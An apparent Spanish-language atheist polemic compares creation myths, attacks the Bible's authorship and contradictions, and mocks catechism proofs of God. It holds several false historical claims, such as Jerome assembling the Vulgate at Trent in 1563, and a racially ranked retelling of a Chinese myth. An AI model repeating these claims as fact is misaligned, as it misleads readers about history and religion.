El dios bueno, ORMUZ, vivía junto al malo, AHRIMAN, hasta que un día el malo trato de quedarse con el reino de Ormuz. La lucha duro de 9 mil a 13 mil años, hasta que el bueno gano y con los restos de los malos se hizo el universo. Solo el Sol y la Luna se hicieron con partículas puras. Luego fue creado el primer hombre, ancho como alto: GAYOMART, que por meterse con JEH, diablesa y prostituta, fue castigado y herido de muerte, expulsando su semen sobre la Tierra, del cual nació como una mata de ruibarbo la pareja de MALYA y MALYANAG. Ormuz les dijo que no debían adorar al demonio, pero lo hicieron y fueron castigados no teniendo hijos hasta no tener 50 años.

Versiones egipcias.-

En el origen del tiempo no existía mas que el caos, o sea el agua oscura y fría. A continuación el dios Sol se creo a si mismo y luego se masturbo, naciendo de su materia el agua y el aire (SHU y TEFNUT), de los que nacieron mas tarde GEB (el dios – Tierra ) y NUT (diosa – cielo) naciendo de ellos otros dioses hasta completar el Politburó de los nueve grandes dioses egipcios.

Según la teoría de Hermopolis, distinta de la anterior llamada de Heliopolis, THOT, supremo dios, es el origen de lo creado. Surgió por si mismo del CAOS y creo y organizo el mundo, tras subyugar a los demonios del mal y poner orden sobre el universo.

Versión hindú.-

INDRA, dios bueno y VRITRA, dios malo se pelearon por el dominio del cielo, la tierra y la atmósfera. Indra rompió a Vritra el espinazo y de su vientre nacieron las aguas que preñadas por el sol, dieron a luz a todos los elementos necesarios para el universo: humedad, luz, calor, cielo y tierra. Así termino el Caos y quedó el orden establecido para ser mantenido así por los hombres.

Versión china.-

El cielo y la tierra estaban en el principio mezclados, igual que lo están dentro un huevo la clara y la yema. Dentro de ellos se generó una lucha, naciendo PAN-KU (lo antiguo replegado sobre si mismo) que se convirtió en todo lo existente al ser aprovechado todo su cuerpo para formar el universo. Luego la diosa NUEKA empezó a modelar a los hombres con tierra amarilla, mas urgida de acabar, tendió una cuerda en el barro y tiró de ella hacia arriba para que la criaturas tuvieran la postura vertical. Por ello los mejores hombres son de color amarillo y los de segunda, de barro.

Versión griega.-

Del seno del CAOS surgió GEA (Tierra) de la que luego se separaron EROS (el amor) Y TARTARO (el abismo subterráneo), Después GEA engendro al cielo, el mar y las montañas (Urano, Ponto). Urano luego tuvo 12 hijos, los TITANES (6 parejas) que representan las fuerzas de la naturaleza. Casados los Titanes entre sí, dieron a luz todo lo que existe en el Universo, en forma de dioses.

Versión escandinava.-

Al principio no existía mas que un abismo, que acabo por condenarse en dos partes, una cálida y otra brumosa. De las brumas nacieron 12 ríos, que convertidos en hielo proporcionaron la materia sólida. La parte cálida eran la llamas. De su encuentro nació YMIR, ser colosal que fue alimentado por la vaca AUDUMLA. Después apareció BURI, cuyo hijo se caso con la hija de un gigante y tuvieron 3 hijos: VILI, VE y ODIN. Entre los tres mataron a YMIR y a todos los gigantes, menos uno, cuya descendencia sigue peleando con los dioses. El cuerpo de Ymir sirvió de materia para la creación del mundo: de sus cejas nació la Tierra y de su cerebro la nubes. La primer pareja humana fueron ASKR y HEMBLA, de creación divina, que procrearon después a muchos escandinavitos.

Versión azteca.-
En el decimotercer cielo residían, en meditación casi eterna, OMETECUHTLI (Señor de la Dualidad) y OMECIUATL (Señora diosa de lo mismo), pensando como organizar el nacimiento de todo. El dios lo era de Fuego - Sol y la Señora de la Tierra – Luna. De su unión nacieron los restantes dioses, empezando por los cuatro principales que fueron Tezcatlipoca, Xipe Totec, Quetzalcoatl y Huitzilopochtli, quienes crearon a su vez el Universo y el hombre y a todos los demás dioses y diosas azteca.

Todas anteriores o mas o menos contemporáneas a la versión hebrea que vamos a ver aquí textualmente para cotejarla al unísono:

Versión hebrea.-

En el principio creo Dios los cielos y la tierra. Y dijo, sea la luz, y fue la luz... Y vio Dios que la luz era buena y apartó la luz de las tinieblas. Y dijo Dios: haya expansión en medio de las aguas y aparto las aguas que estaban debajo y así fue. Y llamo Dios a la seca Tierra y a la reunión de las aguas Mares. Y dijo Dios: produzca la Tierra hierba verde y árbol que de fruto. Y así fue. E hizo Dios las dos grandes lumbreras, la mayor para que señorease en el día y la mayor en la noche. E hizo las estrellas. Y dijo Dios: produzcan las aguas reptiles y aves que vuelen sobre la Tierra. Y creo Dios las grandes ballenas y toda cosa viva que anda arrastrando. Y dijo Dios hagamos al hombre a nuestra imagen y semejanza y señoree entre los peces del mar y en las aves de los cielos y en toda la Tierra y en todo animal. Y creó Dios al hombre a su imagen: varón y hembra los creó. Y les dijo: Creced y multiplicáos y hechid la Tierra y sojuzgadla. Y vio Dios todo lo que había hecho y he aquí que era bueno en gran manera. Y acabó Dios en el séptimo día y reposo de toda su obra que había hecho.

Lo anterior fue un breviario cultural del génesis, el libro primero de la Biblia. ¿Alguien sabe después de leer 9 divinas versiones como fue creado el mundo?.

La creencia en lo que dice la Biblia fue impuesta a sangre y fuego en casi todo el mundo: recuérdese la inquisición, la conquista de América, la colonización de Asia y Africa, las cruzadas, la toma de China y Japón por los misioneros, las cruzadas jesuitas, las guerras contra los infieles... y pare usted de contar.

En toda la historia de la humanidad, los dioses del pueblo conquistado han pasado a la categoría de dioses falsos y su religión, sus libros sagrados, sus ritos, prohibidos y destruidos... (la historia la escriben los vencedores dicen por ahí).

¿Qué es lo que ha hecho autentico al dios de los hebreos sobre todos los demás dioses?, ¿Nos volvimos cristianos por la fuerza de la razón o por la razón de la fuerza?, ¿En base a que se afirma que la verdad solo esta en la Biblia y que los demás libros sagrados son solo leyendas y mito?.

A mi me toco vivir bajo la civilización cristiana, que tiene como libro sagrado la Biblia, de modo que... ni pedos dijo Alfredo.

¿Qué es la Biblia?, todos los diccionarios y enciclopedias que la llamada civilización cristiana ha elaborado para los cerebros de sus lectores dicen que la Biblia es: “sagrada escritura o colección de libros sagrados escritos bajo la inspiración del espíritu santo...”(diccionario y enciclopedias que se dicen científicos). La Biblia pues, no es un solo libro, sino una antología de libros (setenta y uno exactamente) que fueron escogidos por la iglesia católica como “auténticos” en 1563, bajo el concilio de Trento.

Y es aquí donde empiezan los problemas... o sea ¿qué dios se apareció 71 veces a 71 poetas o escritores para dictarles sus memorias?, porque resulta que los hebreos tenían varios dioses (antes y después de Moisés), entre ellos AZAZEL, CHEMOC, MOLOC, BAAL, ABADDON, MAMMON, AZRAEL, ASTARTE (diosa de la luna a quien el rey Salomón hizo un templo en el Monte de los olivos en Jerusalén). Pues no fue ninguno de esos dioses o ángeles, sino otro que los hebreos no conocían: el espíritu santo. En todo el antiguo testamento (es decir los libros que se escribieron antes de Cristo) jamás se menciona ese dios. Así parece, ya que su primera aparición en este mundo fue en ocasión de haberle hecho un niño a una doncella de Nazaret llamada María, a quien bautizaron como Jesús.

¿Fue acaso el mismo dios que dictó sus memorias o inspiró versos y ensayos, poemas eróticos, anécdotas y tragedias cuasi griegas a diversos literatos judíos?. Una pregunta ¿por qué se aparecía solo a los judíos?, su respuesta, pues porque era el dios de los judíos y solo de ellos, porque habían hecho alianza con ellos para protegerlos en caso de invasión extranjera o persecución, etc.; una pregunta sin respuesta ¿Por qué le ha ido tan mal a los judíos?.

Es el caso que no se sabe cuando, donde ni a quienes se les apareció ese dios o como le hizo para inspirar la “escribida” de a Biblia... lo que no obsta para que la iglesia los considere como "“auténticos inspirados por Dios” y bajo la obligación de ser creídos letra por letra.

Se ha demostrado también que muchos de los libros que forman la Biblia son únicamente copias de otros libros (egipcios, babilonios, griegos , sumerios), reescritos en hebreo. Libros que son considerados como leyendas mitológicas sin inspiración divina; y en cambio esas mismas leyendas (el diluvio, la creación, la torre de Babel, las historias de José, Job, Moisés, David, etc.) al formar parte de la Biblia ¡Nos resultaron auténticamente divinas, fíjese nada mas!.

Ingenuos aunque interesantes relatos sobre la creación del mundo, el pecado original, el diluvio, etc., se encuentran en casi todas las religiones de oriente... y esta visto que penetraron en la doctrina hebrea al contacto con otros pueblos, especialmente bajo el dominio babilónico y persa, a partir del siglo VI antes de Cristo.

Hay una pregunta que debería hacérsele a un judío ¿por que no cree en Cristo?, pero existe otra cuestión aun mas interesante, los libros del antiguo testamento son 45 ¿por que los judíos mismos aceptan solo 39?, pues resulta que afirman (los judíos) que hay 6 libros dentro de la Biblia cristiana que no son de inspiración divina, mismos que Roma dice que sí lo son.. por que lo dice Roma y punto (viva la democracia y la razón). O sea que ni los judíos mismos creen en los que les dicto su Dios.

A continuación analizaremos como se hizo la Biblia. La Biblia no existió sino hasta el siglo IV después de Cristo, cuando san Jerónimo reunió todos los manuscritos hebreos conocidos (unos 500, dicen las crónicas) y seguro que inspirado por el espíritu santo, eligió los libros mas legibles, naciendo así la VULGATA (Biblia Vulgata), la cual aprobó el concilio de Trento tras 10 años de discusiones .

Otra inexplicable curiosidad de la Biblia es la fecha de lo escrito bajo dictado divino: la arqueología sólo cuenta con los originales hebreos del año 916 después de Cristo, aunque la leyenda asegura (como leyenda) que 3 siglos antes de Cristo varios textos hebreos fueron traducidos al griego por 70 traductores en Alejandría, por órdenes del faraón Tolomeo II, de lo cual no existe ni una triste prueba. Si el hombre tiene un millón de años sobre la tierra... ¿Por qué se tardo tanto dios en dictar sus leyes?, ¡Y el primer escrito (sobre hueso) conocido tiene 40 mil años de existencia!. De lo que se deduce que los dioses fueron muy descuidados en hacer llegar al hombre sus mandatos, al esperar tanto tiempo en darse a conocer, o usando la lógica, la historia y la arqueología, etnografía y sentido común, digamos que todo eso de la Biblia como sagrada es un cuento de las mil y una noches. Pues resulta infantil hacernos cree que un libro tan mal escrito, con tantos errores de tipo histórico, científico, filosófico, tan lleno de contradicciones, falsedades y aberraciones, sea la “palabra sagrada”, el libro inspirado por un dios sabio y todo poderoso.

Reseñar todas las falsedades errores garrafales y ridiculeces de la Biblia nos puede llevar toda una vida de modo que solo voy a mencionar algunas tonterías del libro inspirado por dios.

Dios aseguran los teólogos es perfección ¿Cómo iba entonces un ser perfecto ser el autor intelectual de un libro tan contradictorio como la sagrada Biblia?, pasare a demostrarlo antes que me digan hablador.

Génesis 1:31 “y vio dios todo lo que había hecho y vio que era bueno en gran manera”, Génesis 6:6 “y arrepintiose Jehová de haber hecho al hombre en la tierra y pesóle en su corazón”. O sea que al ser perfecto le salió un ser imperfecto.

Génesis 32:30 “porque vi a dios cara a cara y fue librada mi alma”, Éxodo 33:20 “dijo Jehová: no podrás ver mi rostro porque no me vera hombre y vivirá”. ¿Le vio la cara Jehová a Moisés o no?.

Génesis 3:9,10 “y llamo Jehová Dios al hombre y le dijo: ¿Dónde estas tu? y el respondió: oí tu voz en el huerto y tuve miedo porque...”. Juan 5:37 “y el que me envió, el padre ha dado testimonio de mi. Ni nunca habéis oído su voz, ni habéis visto su parecer”. ¿Alguien oyó la voz de don Dios?, y si nadie lo ha oído ¿Cómo dictó entonces sus memorias?.

Mateo 19:26 “para dios no hay imposibles”. Jueces 1:19 “y fue Jehová con Judá y echó a los de las montañas, mas no pudo echar a los que vivían en el llano porque tenían carros de hierro”.

¿Qué clase de dios es el que inspiró tantas contradicciones?, ¿Es dios de paz y amor, o dios de guerra y odio?. Romanos 15:33 “y el dios de paz sea con vosotros”. Timoteo 2:4 “el cual quiere que todos los hombres sean salvos...”. Salmos 18:41 “clamaron y no hubo quien los salvase; aún a Jehová y no los salvó...”. Éxodo 15:3 “Jehová, dios señor de guerra, Jehová es su nombre...”. Jeremías 13:13,14 “así ha dicho Jehová: llenaré de embriaguez a todos los moradores de esta tierra... y quebrantarelos el uno con el otro, los padres con los hijos, dice Jehová: no perdonaré, ni tendré piedad ni misericordia para no destruirlos...”. Salmos 45:8,9 “bueno es Jehová para con todos, clemente y misericordioso, lento para la ira y grande para el perdón”. Samuel 24:1,15 “y volvió el furor de Jehová a encenderse contra Israel y envió Jehová pestilencia a Israel desde la mañana hasta el tiempo señalado y murieron 70,000 hombres...” . ¡Vaya geniecito!

Y si queremos enterarnos de las propiedades visuales del dios bíblico, tendremos algunos problemas para hacerlo:

Proverbio 15:3 “los ojos de Jehová, están en todo lugar”. Job 34:21 “porque sus ojos están sobre todos los caminos del hombre y ve todos sus pasos”. Y entonces como es que se le escondió Adán? Génesis 3:8 “y escondiose el hombre y su mujer de la presencia de Jehová dios entre los árboles del huerto...”.

Estas son solo unas cuantas de los miles y miles de contradicciones que pagina tras pagina contiene la Biblia, cuya lectura no recomienda la iglesia católica (la lectura critica por supuesto). La iglesia católica ante la avalancha de criticas a la Biblia ha reconocido casi por completo el carácter “legendario” de sus textos, pero de lo que si se responsabiliza y apoya su autenticidad es del “Nuevo testamento”, o sea la historia de Cristo “hijo” de Dios.

“Los evangelios cuya autenticidad, integridad y veracidad nadie puede poner en duda, prueban con certeza la revelación divina...”, escribe el padre Hillaire en el libro la religión demostrada, el mismo libro, uno de los mas usados y acreditados por la iglesia, afirma en la pagina 152:

“P: ¿Debemos creer todo lo que contienen los evangelios?, R: Si, porque se debe creer en un libro histórico cuando es autentico, integro y veraz. Nosotros los cristianos creemos que los evangelios son los libros inspirados, es decir que los apóstoles y sus discípulos los han escrito siguiendo el impulso del espíritu santo, que se los dicto.”

“Un libro es autentico cuando ha sido escrito en la época y por el autor que le asignan, un libro es integro cuando ha llegado hasta nosotros sin alteración, tal como fue escrito por su autor, un libro es verídico cuando el autor no puede ser sospechoso de error o mentira”.

Sin embargo, el estudio de los evangelios a través de los siglos ha demostrado (con bases científicas) que distan mucho de ser auténticos, íntegros y verídicos. En los primeros años del cristianismo se afirmaba que los evangelios habían sido escritos por ángeles. Pero resultaba un tanto difícil de explicar quienes eran los ángeles de modo y manera que se opto por decir que los 4 evangelios eran obra de los mismos discípulos de Jesús: Mateo, Marcos, Lucas y Juan; solo que faltaba un detallito sin importancia: los apóstoles no sabían leer ni escribir. En esos tiempos el analfabetismo era casi general, solo una minoría sabia leer... y entre esa minoría no estaban los apóstoles, que eran pescadores sin escuela alguna.

Existe otra pregunta mas interesante aun, ¿Sabia leer Jesús?. Aunque no se ha demostrado la existencia de Jesucristo, vamos a suponer que si existió y todo lo demás... (inclusive que sabia leer y escribir), pero no existe una línea escrita por el, es decir, no dejo nada escrito el hijo de dios que vino al mundo a dar a conocer el nuevo trato con su padre.

Simplemente es algo que no logro entender, si dios quería establecer un nuevo pacto con el hombre y había inspirado durante siglos a escritores, poetas y profetas para escribir sus deseos, ¿Por qué de repente decide mandar a su hijo, y no cuida de que su palabra quede escrita y dada conocer mejor?. No tiene lógica alguna que un dios sabio, todo poderoso y creador de todo, para hacerse oír por el hombre al que creó, mande a la tierra a su hijo (único)... lo esconda en una ranchería, lo haga ser escuchado por unos cuantos (que lo toman por loco), que no se deje ningún escrito y de finalmente la haga asesinar por otros hombres por el creado. ¿Acaso el dios sapientísimo no sabia como eran de malditos y desgraciados sus “reyes” de la creación?, ¿No estaba enterado el dios todopoderoso de la clase de gente que vivía en la tierra?, ¿No hubiera sido mas lógico (suponiendo un dios lógico) dar a conocer sus deseos y nueva ley en los centros de poder como eran Roma y Grecia, Egipto, China o la India?. “Nadie conoce los designios de dios” dice la iglesia. Curiosísimo, si nadie puede saber que piensa dios, ¿por que se atreven a decir y asegurar que dios hizo concebir a un su hijo de una virgen, que lo mando a predicar sus deseos y que dejo que lo mataran para salvarnos a todos y etc?.

Si la intención de dios (según afirman) era crear una nueva religión para la humanidad, ¿Como es que la mayoría de la humanidad no cree en esa religión?, ¿Y como es que nadie practica el cristianismo?, empezando por los que se dicen representantes de Cristo. Definitivamente todo esto del hijo de dios hecho hombre y salvador, no es mas que una mitológica leyenda no apta para seres pensantes.

Sigamos pues con los evangelios, el mas antiguo que se conoce, el llamado de san Marcos, fue escrito unos 80 años después de Cristo con base (dicen) en platicas que ese señor (que no conoció a Jesús) tuvo con san Pedro... que obviamente estaba interesado en aparecer como el “autentico” sucesor de Jesucristo. Ese Juan Marcos no era otro (según dice la iglesia) que el secretario de San Pedro. Sin embargo tanto Marcos como Pedro, murieron antes de terminarlo, así que un romano (Aristión) lo completo de oídas y como pudo (pero inspirado por dios ¡esto que quede claro!).
El segundo evangelio fue escrito por Mateo a mediados del siglo II tomando 600 versículos de san Marcos y añadiendo 330 propios o dictados por san Pablo de Tarso, de quien se duda haya sido mas que una leyenda (ni uno ni otro conocieron a Cristo). Del tercer evangelio (llamado de San Lucas) se dice que también fue escrito con base en platicas de san Pablo con el autor (nacido en Antioquia dicen). Sin embargo de sus 1149 versículos, 350 fueron tomados de marcos, 235 de Mateo y 548 de su cosecha propia.

El cuarto atribuido a San Juan, escrito (dice la iglesia) en los inicios del siglo II (¿Cuantos años vivió san Juan si era un hombre maduro en vida de Cristo?) En griego (siendo este Juan judío) y sin coincidencias con los anteriores evangelios, fue calificado de apócrifo en los primeros siglos de la iglesia (es decir falso).

De ninguno de estos 4 evangelios existe manuscrito alguno de modo que las versiones hoy conocidas de ellos, datan de las versiones que se aprobaron en el famoso concilio de Trento ¡En 1563!, cuando san Jerónimo depuró los cientos de evangelios existentes y “unificó” las versiones, en vista de que dios no se volvió a comunicar con nadie. ¿Puede así considerarse como auténticos, verídicos y originales los evangelios?.

Con otra poderosísima razón para difundir su doctrina, los evangelistas tenían sobre todo la necesidad de demostrar que Jesús era el Mesías que esperaban (y esperan) los judíos. Tenían que adaptar a Jesús como Mesías, hijo de Jehová. Para ello inventaron la resurrección de Cristo y se ocuparon de reconstruir al revés la biografía del “hijo de Dios” remontando de la resurrección al nacimiento y llenando el hueco con referencias y anécdotas que se ajustaran lo mas posible a las profecías bíblicas que anunciaban la venida del Mesías.

Una prueba de ello es lo relativo al nacimiento de Jesús... ¿Dónde y cuando nació?. El año de nacimiento es mas que incierto: el que hoy aceptan y sirve de comienzo a nuestra era , fue establecido 500 años mas tarde por un monje que se baso en el evangelio de san Lucas ignorando las contradicciones que serian descubiertas muchos siglos mas tarde por la critica. Según Lucas, Jesús fue concebido 6 meses después de Juan el bautista, que a su vez lo fue en la época de Herodes, el grande, rey de Judea, que murió el año 750 de Roma o sea el 4 antes de nuestra era. Sobre el día de nacimiento esta peor el asunto: apenas en el siglo IV se estableció como tal e 25 de diciembre, pero antes decían y celebraban el 28 de marzo o el 19 de abril, o el 6 de enero, fecha que todavía celebran como nacimiento en oriente.

De modo que si ya había muerto Herodes antes de que naciera Jesús, ¿De donde salió lo de la persecución a Cristo y la dizque matanza de niños inocentes?. Una profecía bíblica decía, refiriéndose al Mesías: “y el será llamado Nazareno”, mientras otra (Mateo 2:5) decía “si nace en Belem es por que también esta escrito por el profeta...”.

Resumiendo, la realidad es que basándose en el antiguo testamento y sus profecías algunos judíos exiliados en Roma escribieron el nuevo testamento para presentar a Jesús como el Mesías, fundador de la nueva religión a seguir: EL CRISTIANISMO. Otro mas atribuido a san Juan, el Apocalipsis es decir la pretendida revelación de los grandioso acontecimientos que los primeros cristianos esperaban de un momento a otro, consistentes en el fin del mundo ni mas ni menos, fin del mundo que no llego (¿Otra equivocada de dios?) ni tiene para cuando llegar. Así el Apocalipsis se convirtió en otra prueba de la falsedad del nuevo testamento.

Estos y mil detalles mas como estos, parecen demostrar sin lugar a dudas que los evangelios fueron escritos para adecuar la figura de Cristo a las necesidades políticas de los judeocristianos que trataban de hacer aparecer a Jesús como el Mesías y no como en realidad parece haber sido.

El descubrimiento de los rollos del mar muerto ha sacado a la luz la existencia de una secta judía (los esenios) que se alzaron contra Roma y cuyo jefe (cuyas palabras tienen gran semejanza con las predicadas de Cristo) fue martirizado y crucificado por los años 20 D.C (los romanos crucificaban solo a los reos de subversión).

El estudio en serio de la Biblia es quizás la demostración mayor de la no existencia de dios y la prueba máxima de la falsedad del cristianismo como religión “única y verdadera”, vil invento humano para explotar y enajenar a los creyentes en sus vaciladas.

“La verdad os hará libres (y ateos)”

4. CREYENDO QUE SE CREE

El autor (sin inspiración divina que se sepa) se metió en toda una serie de problemas con sus familiares, amigos y creyentes anónimos, preguntándoles sus razones para creer en Dios.

La mayoría contestó que no sabia porque creía en la existencia de dios; otros dijeron que así se lo habían enseñado desde niños; uno contesto que si dios no existiera, tampoco existiéramos nosotros y otro (otra) dijo que porque dios era amor y sabiduría y que todo nos venia de el... pero no explico por que creía que dios existía; y otro (creyente) respondió ¡Que pregunta! Creo que dios existe porque tengo fe.

¿Qué es la fe? Según el diccionario: “Teologal por la que creemos lo que Dios dice”. La fe es la confianza en lo dicho o hecho por otros. Y la fe dice la iglesia, es un don de Dios. O sea para creer en Dios es necesario que ese Dios le haya dado a quien esta queriendo saber si existe o no, la virtud de creer que si existe, así nomás, a ciegas, sin pruebas de ninguna clase. Traducido: la fe es la ignorancia de la realidad (virtud dada por dios para no hacer uso de la razón que el nos dio).

Finalmente el autor (un tanto decepcionado por los resultados con los creyentes y su divina ignorancia) se asomó a los medios religiosos (curas, monjas y catecismos). “El hombre tiene implícita la idea de dios, nace con ella (una monja)”, “la mejor prueba de la existencia de Dios es la creación (un sacerdote)”, “el mundo no se pudo crear solo: alguien tuvo que crearlo y ese alguien solo pudo ser dios, el ser perfecto y todopoderoso (otro sacerdote)”. Un catecismo dice:

P: ¿Cuáles son las pruebas principales de la existencia de Dios?
R: Podemos citar 7 que nuestra razón nos dicta y que se fundan:

1. En la existencia del universo.
2. En el movimiento, orden y vida de los seres creados.

3. En la existencia del hombre, dotado de inteligencia y libertad.

4. En la existencia de la ley moral.

5. En el consentimiento universal del genero humano (¿?).

6. En los hechos ciertos de la historia.

7. En la necesidad de un ser eterno.

Como se ve todas estas 7 “pruebas” tienen un fundamento común: no hay efecto sin causa. Lo que constituye (según el catecismo) una demostración irrebatible capaz de convencer al incrédulo mas obstinado.

El padre de esta teoría del causalismo fue Santo Tomas de Aquino quien dijo: “No podemos tener conocimiento directo de Dios a través de los sentidos, sino a través de sus efectos”. De la relación causa-efecto (decía Tomas) se llega a la idea de una causa ultima: todas las causas dependen de algo para existir. En efecto: todo tiene un principio, todo surge a causa de... y por ello mismo la teoría “aquinista” se destruye a si misma. Si dios creo todo ¿Quién creo a Dios?.

La teoría de postular una primera causa de todo que viene a ser una causa sin causa, se muerde la cola y se anula a si misma... ¿Quienes fueron los padres de Dios?. Suena como aquel viejo mito hindú de que el mundo estaba apoyado sobre un elefante y este sobre una tortuga, ¿Y la tortuga sobre que?. Para acallar los argumentos, la iglesia decidió entonces otorgarle a Dios la eternidad, “Dios no tiene principio ni fin y al que no lo crea le quemamos la cabeza con todo y cuerpo”.

No pudiendo la Santa Iglesia presentar a la madre de Dios, Tomas de Aquino elaboró otra teoría filosófica: “De la armonía y belleza del mundo se concluye que hubo un artífice del mundo” (teoría de la ley natural). ¡El orden y la armonía del mundo suponen una inteligencia ordenadora y poderosa: solo Dios pudo hacer ese orden!.

¿Orden y armonía en el mundo?, ¿Y los terremotos y erupciones de los volcanes?, ¿Y los tornados y plagas?, ¿Y las inundaciones, rayos y centellas, epidemias y trombas?

Santo Tomas de Aquino ya no pudo inventar otra teoría porque murió antes de poder hacerlo. Sin embargo, por siglos la iglesia tuvo con esas teorías para defender a Dios. Porque (justo es decirlo) quien no tragaba esas teorías y se atrevía a ponerlas en duda, era puesto en manos de los teólogos de la santa inquisición, expertos en comunicación y capaces de convencer al ateo mas reacio y contumaz.

La iglesia predicaba además que dios había creado al mundo tal y como lo conocemos, eterno e inmovible, con los animales y plantas que tenemos, con el hombre tal y como es; negando toda posibilidad de cambios y evoluciones. Y cuando el señor Darwin demostró con pelos y señales la evolución de todos los seres vivos, el teatro divino se vino abajo, y todas las viejas historias de Adán y Eva, el diluvio de Noe y la creación del mundo en 6 días (con razón le quedo así), pasaron al archivo de cuentos para niños y literatura fantástico-religiosa. Sin embargo, aunque la creencia en Dios bajó considerablemente desde entonces, la iglesia no se arredro ni clausuro sus oficinas. Por el contrario, condenó a Darwin y con el a la ciencia enemiga de la fe, y siguió explotando la idea divina.

¿Qué otras pruebas de la existencia de dios predica la iglesia?.
Retomemos otra vez al sapientísimo padre Hillsire y su libro “la religión demostrada”, suplicamos no reírse demasiado...

P: ¿Podemos deducir la existencia de Dios por la contemplación de los seres vivientes?

R: Si, la razón, la ciencia y la experiencia nos obligan a admitir un creador de todos los seres vivientes diseminados sobre la tierra. Y como ese creador no puede ser sino dios, siguese que de la existencia de los seres vivientes podemos concluir la existencia de dios.
P: ¿Prueban la existencia de Dios los seres del universo?

R: Si, cuantos seres existen en el universo son otras tantas pruebas de la existencia de Dios, porque todos ellos son el efecto de una causa que les ha dado el ser, de un Dios que los ha creado a todos (incluyendo a Hitler).

P: ¿Podemos demostrar la existencia de dios por la existencia del hombre?

R: ¿Si, por la existencia del hombre, inteligente y libre, llegamos a deducir la existencia de dios, pues no hay efecto sin causa capaz de producirlo. Podemos decir por consiguiente: yo pienso, luego existo, luego existe dios.

P: ¿Prueba la existencia de dios el hecho de la ley moral?
R: Si, la existencia de la ley moral prueba irrefutablemente que dios existe. Cono no hay efecto sin causa, ni ley sin legislador, esa ley moral tiene un autor, el cual es Dios.

P: ¿Prueba el sentimiento intimo la existencia de Dios?
R: Si, por natural instinto se nos escapa este grito: “¡Dios mío!”. El pobre lo llama, el moribundo lo invoca, el pecador le teme, el blasfemo lo maldice: el mas popular de todos los seres es Dios. Nadie blasfema de lo que no existe.

Siguen otras “pruebas” con los mismos razonamientos “lógicos” de la iglesia: Dios existe porque existe la necesidad de que haya un ser eterno.. Dios existe por que se ha mostrado y hablado y obrado... ¿Dios se ha mostrado a alguien o le ha hablado a alguien?, ¡Claro! se le apareció a don Adán y a Eva, a Moisés, a los profetas, a los reyes y a quien sabe cuantos mas... tal y como lo dice la Biblia. ¿Y aparte de la Biblia hay alguna otra prueba?, claro que no pero con la Biblia es mas que suficiente.

Tan sencillo que seria para dios mostrarse una vez en publico para demostrarnos su existencia (o en televisión de perdida). ¿Por qué no hacerlo? Tendría mas éxito que su santidad polaca. Pero no dios nunca se va a presentar en publico por una sencillísima razón: porque Dios no existe.

A resultas de Darwinismo se declaró muerto a dios... pero la iglesia católica no se dio por enterada y trató de adaptarse (una vez mas) a los tiempos. Imanuel Kant (1724-1804) filosofo alemán dijo un buen día que: “hay bondad y belleza en el mundo porque hay una medida suprema de bondad y belleza que es dios... La existencia de valores morales, de la conciencia y del deber implican que debe haber un valor moral supremo, un conciencia suprema”, a ese valor supremo (pensó Kant) hay que llamarlo dios.
El argumento moral de Kant duró menos que un suspiro de monja, cuando otros pensantes se preguntaron: ¿Y la maldad, la injusticia, el odio y la mentira que hay en el mundo... significarían que dios es todo maldad, todo odio y todo mentira?. Sin embargo la iglesia acepto la teoría de Kant, urgida de lo que fuera a favor suyo (y de dios) y en torno a ella los teólogos construyeron todo un castillo de hipótesis religiosas convertidas en dogmas, en materia de fe:

1. El mal no existe: lo que hay es una “armonía” no comprendida.

2. Dios manda a veces la desgracia para probarnos.

3. Dios le dio libre albedrío al hombre para que viva en libertad.
4. La pobreza es un bien para el mal.

hipótesis todas desconcertantes y contradictorias sin base lógica ni filosófica, pero validas para sostener la dizque fe. Imposible aceptar la existencia de un dios todopoderoso, omnisapiente y bondadoso, que permite en su creación el triunfo del mal, la injusticia y la iniquidad. “¡Hágase tu voluntad así en la tierra como en el cielo!” pues que dios tan gacho.

Si aun le quedan dudas, contéstese las siguientes preguntas:

§ Si dios es tan bueno como lo proclaman los sacerdotes ¿Qué razones existen para temerle?

§ Si dios quiere que se le conozca y se le ame, ¿Por qué no se le da a conocer?

§ Si se encuentra en todas partes, ¿Para que diablos edificar iglesias?
§ Si sabe todo, ¿Para que entonces fastidiarlo con tantas oraciones?

§ Si es justo, ¿Por qué castiga a los hombres creados por el mismo llenos de debilidad?

§ Si los hombres no hacen el bien mas que por una gracia particular de dios, ¿Qué razón tiene para compensarlos?

§ Si es todopoderoso ¿Como permite la blasfemia?

§ Si es inconcebible, ¿Por qué ocuparnos de el entonces?

§ Si dictó sus leyes, ¿Por qué permite que las violen en primer lugar sus ministros?

§ Si dios mando a su hijo a fundar una única fe ¿Como es que hay tantas y peleándose entre si?

Ninguna “prueba” aportada por la iglesia y sus teólogos nos prueba la existencia de dios, mejor (de sus tres dioses mejor dicho). Son pruebas contra la razón, la lógica y la verdad, que nos dan la tranquilidad necesaria para decir nuevamente y con toda seguridad esta verdad: DIOS NO EXISTE. Lo cual obviamente no es un dogma de fe: si a pesar de ello usted quiere seguir creyendo en dios, rezándole, manteniendo a los vagos que se dicen sus representantes y echándole la culpa de no ganarse la lotería, esta usted en libertad de hacerlo... le aseguramos que dios no se enterara.

Ya lo decía Máximo Gorki: “creer en algo, siempre es garantía de tranquilidad”. Este libro no intenta imponer en el lector el ateismo, sino únicamente dar argumentos e ideas maquiavelicas para ser usadas o no... aceptadas o no.

No solo es la ciencia y el uso cada vez mas generalizado de la razón lo que esta abriendo los ojos de la gente y alejándola de la religión organizada, también la religión organizada está alejando de dios a la gente. La gente esta cada vez mas convencida de que las iglesias no tienen ninguna relación con las ideas de Cristo y solo son aliadas de las clases ricas y explotadoras. La actuación de la iglesia en el curso de la historia, su negativa al cambio y sus alianzas con los explotadores, la han convertido en la gran fabrica de ateos y descreídos.

Todo esto quiere decir que el cristianismo es enemigo de Cristo. Lo invito a la demostración:

§ De cómo la iglesia administradora de los bienes de Cristo (que era pobre) ha utilizado su figura para explotar la credulidad humana.

§ De cómo la iglesia ha falseado a Cristo para crear un poder terrenal y mantener sometida en la ignorancia y la miseria a los que se dejan...

§ De cómo, en fin, se ha venido poco a poco apareciendo la verdadera personalidad de ese hombre llamado Jesús, hecho dios por la gracia del hombre.

5. LA EXPLOTACIÓN DEL CRISTO POR EL HOMBRE

